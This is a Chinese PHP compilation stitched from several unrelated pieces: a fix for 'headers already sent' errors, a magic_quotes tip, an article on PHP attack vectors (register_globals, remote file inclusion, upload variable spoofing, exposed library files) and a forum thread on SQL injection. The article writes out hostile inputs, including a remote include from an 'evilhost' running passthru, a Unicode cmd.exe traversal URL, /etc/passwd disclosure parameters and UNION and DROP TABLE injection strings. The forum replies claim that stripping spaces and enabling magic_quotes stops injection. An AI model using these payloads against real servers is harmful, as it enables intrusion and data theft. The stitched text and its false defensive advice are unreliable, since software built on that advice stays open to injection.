彻底杜绝PHP的session cookie错误

本文讨论的是如何彻底杜绝warning: Cannot add header information - headers already sent in...... 这种令人莫明其妙的的错误。

只要你写过PHP代码,相信都遇上过这个大多时候都令人莫明其妙的warning吧..今天我们就来搞定它...............

看了PHP手册，回答如下：

消息“Warning： Cannot send session cookie - headers already sent。。。”或者“Cannot add header information - headers already sent。。。”。

函数 header()，setcookie() 和 session 函数需要在输出流中增加头信息。但是头信息只能在其它任何输出内容之前发送。在使用这些函数前不能有任何（如 HTML）的输出。函数 headers_sent() 能够检查您的脚本是否已经发送了头信息。请参阅“输出控制函数”。

意思是：不要在使用上面的函数前有任何文字，空行，回车，空格等。但。。。问题是，这答案并不令人满足。因为往往程序在其他PHP环境下运行却正常。

首先：这错误是怎么产生的呢？让我们来看看PHP是如何处理HTTP header输出和主体输出的。

PHP脚本开始执行时，它可以同时发送header(标题)信息和主体信息。 Header信息(来自 header() 或 SetCookie() 函数)并不会立即发送，相反，它被保存到一个列表中。 这样就可以答应你修改标题信息，包括缺省的标题(例如 Content-Type 标题）。但是，一旦脚本发送了任何非标题的输出（例如，使用 HTML 或 print() 调用)，那么PHP就必须先发送完所有的Header，然后终止 HTTP header。而后继续发送主体数据。从这时开始，任何添加或修改Header信息的试图都是不答应的，并会发送上述的错误消息之一。

好!那我们来解决它：

笨方法：把错误警告全不显示!
掩耳盗铃之计，具体方法就不说了 ^_^#

解决方案：

1)适用于有权限编辑PHP。INI的人

打开php。ini文件(你应试比我清楚你的php。ini在哪里)，找到

output_buffering =改为on或者任何数字。假如是IIS6，请一定改为ON，不然你的PHP效率会奇慢。

2)使用虚拟主机，不能编辑PHP。INI，怎么办？

简单：

在你的空间根目录下建立一个。htaccess文件，内容如下：

AllowOverride All
PHP_FLAG output_buffering On

不幸的情况是：还是不行？全部网页都不能显示啦？

那么，你可以打电话骂一通空间商，然后让他给你把apache的。htaccess AllowOverride打开

3)在PHP文件里解决

ob_start()
启用output buffering机制。 Output buffering支持多层次 -- 例如，可以多次调用 ob_start() 函数。

ob_end_flush()
发送output buffer（输出缓冲）并禁用output buffering机制。

ob_end_clean()
清除output buffer但不发送，并禁用output buffering。

ob_get_contents()
将当前的output buffer返回成一个字符串。答应你处理脚本发出的任何输出。

原理：

output_buffering被启用时，在脚本发送输出时，PHP并不发送HTTP header。相反，它将此输出通过管道（pipe）输入到动态增加的缓存中（只能在PHP 4。0中使用，它具有中心化的输出机制）。你仍然可以修改/添加header，或者设置cookie，因为header实际上并没有发送。当全部脚本终止时，PHP将自动发送HTTP header到浏览器，然后再发送输出缓冲中的内容。

PHP页面中假如不希望出现以下情况:

单引号被转义为 '

双引号被转义为 "

那么可以进行如下设置以防止:

方法一:在php.ini中设置:magic_quotes_gpc = Off

方法二: $str=stripcslashes($str)

综述：PHP程序也不是固若金汤，随着PHP的广泛运用，一些黑客们也在无时不想找PHP的麻烦，通过PHP程序漏洞进行攻击就是其中一种。在节，我们将从全局变量，远程文件，文件上载，库文件，Session文件，数据类型和容易出错的函数这几个方面分析了PHP的安全性。

　　如何通过全局变量进行攻击？

　　PHP中的变量不需要事先声明，它们会在第一次使用时自动创建，它们的类型根据上下文环境自动确定。从程序员的角度来看，这无疑是一种极其方便的处理方法。一旦一个变量被创建了，就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量。

　　很显然，基于PHP的应用程序的主函数一般都是接受用户的输入（主要是表单变量，上载文件和Cookie等），然后对输入数据进行处理，然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易，实际上PHP是把这些输入数据看作全局变量来处理的。

　　例如：




＜FORM METHOD="GET" ACTION="test.php"＞
＜INPUT TYPE="TEXT" NAME="hello"＞
＜INPUT TYPE="SUBMIT"＞
＜/FORM＞




　　这会显示一个文本框和提交按钮。当用户点击提交按钮时，"test.php"会处理用户的输入，当"test.php"运行时，"$hello"会包含用户在文本框输入的数据。从这里我们应该看出，攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用"test.php"，而是直接在浏览器地址栏输入http://server/test.php?hello=hi&setup=no，那么，不止是"$hello"被创建，"$setup"也被创建了。

　　下面的用户认证代码暴露了PHP的全局变量所导致的安全问题：




＜?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?＞




　　上面的代码首先检查用户的密码是否为"hello"，如果匹配的话，设置"$auth"为"1"，即通过认证。之后如果"$suth"为"1"的话，就会显示一些重要信息。

　　这段代码假定"$auth"在没有设置值的时候是空的，但是攻击者可以创建任何全局变量并赋值，通过类似"http://server/test.php?auth=1"的方法，我们完全可以欺骗这段代码，使它相信我们是已经认证过的。

　　因此，为了提高PHP程序的安全性，我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话，这可是一项非常艰巨的任务。

　　一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量，这依赖于我们的提交方式（GET或POST）。当PHP配置为打开"track_vars"选项的话（这是缺省值），用户提交的变量就可以在全局变量和上面提到的数组中获得。

　　但是值得说明的是，PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量，HTTP_POST_VARS数组用于处理POST方式提交的变量；HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量，而对于HTTP_POST_FILES数组（比较新的PHP才提供），则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中，因此一个安全的PHP程序应该检查这四个数组。 如何通过远程文件进行攻击？

　　PHP是一种具有丰富特性的语言，提供了大量的函数，使编程者很容易实现特定功能。但是从安全的角度来看，功能越多，要保证它的安全性就越难，远程文件就佐证这个问题的一个很好例子：




＜?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
n");
?＞




　　上面的脚本试图打开文件"$filename"，如果失败就显示错误信息。很明显，如果我们能够指定"$filename"的话，就能利用这个脚本浏览系统中的任何文件。但是，这个脚本还存在一个不太明显的特性，那就是它可以从任何其它WEB或FTP站点读取文件。实际上，PHP的大多数文件处理函数对远程文件的处理是透明的。

　　例如：

　　如果指定"$filename"为 "http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"

　　则上面的代码实际上是利用主机target上的unicode漏洞，执行了dir命令。这使得支持远程文件的include()，require()，include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容，并且把它们按照PHP代码解释，主要是用在库文件上。

　　例如：




＜?php
include($libdir . "/languages.php");
?＞




　　上例中"$libdir"一般是一个在执行代码前已经设置好的路径，如果攻击者能够使得"$libdir"没有被设置的话，那么他就可以改变这个路径。但是攻击者并不能做任何事情，因为他们只能在他们指定的路径中访问文件languages.php（perl中的"Poisonnull byte"攻击对PHP没有作用）。但是由于有了对远程文件的支持，攻击者就可以做任何事情。例如，攻击者可以在某台服务器上放一个文件languages.php，包含如下内容：




＜?php
passthru("/bin/ls /etc");
?＞




　　然后把"$libdir"设置为"http://＜evilhost＞/"，这样我们就可以在目标主机上执行上面的攻击代码，"/etc"目录的内容将作为结果返回到客户的浏览器中。

　　需要注意的是，攻击代码是不会在自身所在的服务器（也就是evilhost）上执行执行自身PHP程序的，否则，攻击代码会攻击自身所在的服务器，而不是在目标服务器执行。

　　如何通过文件上载进行攻击？

　　PHP自动支持基于RFC 1867的文件上载，我们看下面的例子：




＜FORM METHOD="POST" ENCTYPE="multipart/form-data"＞
＜INPUT TYPE="FILE" NAME="hello"＞
＜INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"＞
＜INPUT TYPE="SUBMIT"＞
＜/FORM＞




　　上面的代码让用户从本地机器选择一个文件，当点击提交后，文件就会被上载到服务器。这显然是很有用的功能，但是PHP的响应方式将使这项功能变得不安全。当PHP第一次接到这种请求，甚至在它开始解析被调用的PHP代码之前，它会先接受远程用户的文件，检查文件的长度是否超过"$MAX_FILE_SIZE variable"定义的值，如果通过这些测试的话，文件就会被存在本地的一个临时目录中。
　　因此，攻击者可以发送任意文件给运行PHP的主机，在PHP程序还没有决定是否接受文件上载时，文件已经被存在服务器上了。

　　让我们考虑一下处理文件上载的PHP程序，正如我们上面说的，文件被接收并且是存在服务器上（位置是在配置文件中指定的，一般是/tmp），扩展名一般是随机的，类似"phpxXuoXG"的形式。PHP程序需要上载文件的信息以便处理它，这可以通过两种方式，一种方式是在PHP3中已经使用的，另一种是在我们对以前的方法提出安全公告后引入的。

　　大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件，比如说上面的例子：




$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g"c:\temp\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")




　　然后，PHP程序开始处理根据"$hello"指定的文件。问题在于"$hello"不一定是一个PHP设置的变量，任何远程用户都可以指定它。如果我们使用下面的方式：




http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=
text/plain&hello_name=hello.txt




　　就导致了下面的PHP全局变量（当然POST方式也可以（甚至是Cookie））：




$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"




　　上面的表单数据正好满足了PHP程序所期望的变量，但是这时PHP程序不再处理本应在上载者本机上的上载文件，而是处理服务器上"/etc/passwd"（通常会导致内容暴露）文件。这种攻击可以用于暴露任何敏感文件的内容。

　　新版本的PHP使用HTTP_POST_FILES[]来决定上载文件，同时也提供了很多函数来解决这个问题，例如有一个函数用来判断某个文件是不是实际上载的文件。但是实际上肯定有很多PHP程序仍然使用旧的方法，所以也很容易受到这种攻击。

　　作为文件上载的攻击方法的一个变种，我们看一下下面的一段代码：




＜?php
if (file_exists($theme)) // Checks the file exists on the local system (noremote files)
include("$theme");
?＞




　　如果攻击者可以控制"$theme"的话，很显然它可以利用"$theme"来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令，但是他无法使用远程文件，因此，他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的，但是文件上载帮了我们这个忙，如果攻击者先在本地机器上创建一个包含PHP代码的文件，然后创建一个包含名为"theme"的文件域的表单，最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码，PHP就会把攻击者提交的文件保存起来，并把"$theme"的值设置为攻击者提交的文件，这样file_exists()函数会检查通过，攻击者的代码也将执行。
　　获得执行任意指令的能力之后，攻击者显然想提升权限或者是扩大战果，而这又需要一些服务器上没有的工具集，而文件上载又一次帮了攻击者的忙。攻击者可以使用文件上载功能上载工具，把她们存在服务器上，然后利用他们执行指令的能力，使用chmod()改变文件的权限，然后执行。 例如：攻击者可以绕过防火墙或IDS上载一个本地root攻击程序，然后执行，这样就获得了root权限。

　　如何通过库文件进行攻击？

　　正如我们前面讨论的那样，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。

　　最初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个".inc"的扩展名，但是他们很快发现这是一个错误，因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时，我们就会得到该文件的源代码，这是因为当把PHP作为Apache的模块使用时，PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的，一般是".php"， ".php3"和".php4"。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中，那么远程攻击者很容易得到这些信息。

　　最简单的解决方法就是：给每个文件都指定一个PHP文件的扩展名，这样可以很好的防止泄露源代码的问题，但是又产生了新的问题，通过请求这个文件，攻击者可能使本该在上下文环境中运行的代码独立运行，这可能导致前面讨论的全部攻击。

　　下面是一个很明显的例子：




In main.php:
＜?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include("$libdir/loadlanguage.php":
?＞

In libdir/loadlanguage.php:
＜?php
...

include("$langDir/$userLang");
?＞




　　当"libdir/loadlanguage.php"被"main.php"调用时是相当安全的，但是因为"libdir/loadlanguage"具有".php"的扩展名，因此远程攻击者可以直接请求这个文件，并且可以任意指定"$langDir"和"$userLang"的值。
 
一:

这个话题太老生常谈了.
在PHP.INI中将magic_quotes_gpc = On
确实能防得住一些注入式攻击,但这是不是万能的?
我们现在是将POST或者GET收到的变量,将其中的空格转换掉,标点符号,特殊字符全部转换为HTML编码.
演示的时候再将他还原.请问大家是如何做的?交流一下代码啊.

不过还是没有用的.防不了union语句,当你的SQL写得不规范的时候.
比如select * from news where id=$Id,这个变量$Id没有用小引号括起来,而且又没有判断这个$Id是不是数字字符串的时候,就肯定会被注入,就算magic_quotes_gpc = On也一样.
彻底的防注入的方法只有在SQL语句内将变量用小引号括起来,然后
magic_quotes_gpc = On,然后将空格转换掉,标点符号,特殊字符全部转换为HTML编码.
这样我认为就一劳永逸了,不知道有无漏网之鱼,请高手指教,我们现在开发的系统杜绝了注入的话,我才能睡上好觉.哈哈.
一般我是直接在每个页面用函数将_get,_post,_session等数据初步过滤

在具体写入数据库时候强制检查数据类型～

基本这些对一般的注入效果还是不错的

1 SQL语句最好通过sprintf格式化,再query
2 登陆检测之类的时候,最好通过一个值取出另一个值,然后进行比对
 
举例说明:
哈哈，那是我举的一个例子啊。我仔细的总结了一下，不被注入很容易。
总结如下:
magic_quotes_gpc = On这个打开，然后变量用小引号括住，别人想注入的话，得突破引号，所以他得在变量内加入小引号，加入小引号又会被magic_quotes_gpc = On给转义掉了，突破小引号失败。就干不了坏事。
还有一点就是在MYSQL中有两个注释标记，#和/*，通过这个能将后面的SQL语名注释掉，将这俩字符给转成ASC码或者HTML码。
然后就是注入攻击的爸妈是空格。
如select * from news where id=1 union select * from admin,如果我将空格给删除或者转换掉。
就成了select * from news where id=1unionselect*fromadmin,这是偷窃数据的下场。
select * from news where id=1; drop table news这里将空格弄掉.
select * from news where id=1; droptablenews无法执行。
所以说注入式攻击的爸妈是空格。空格被替换掉之后。真的是能安心睡觉了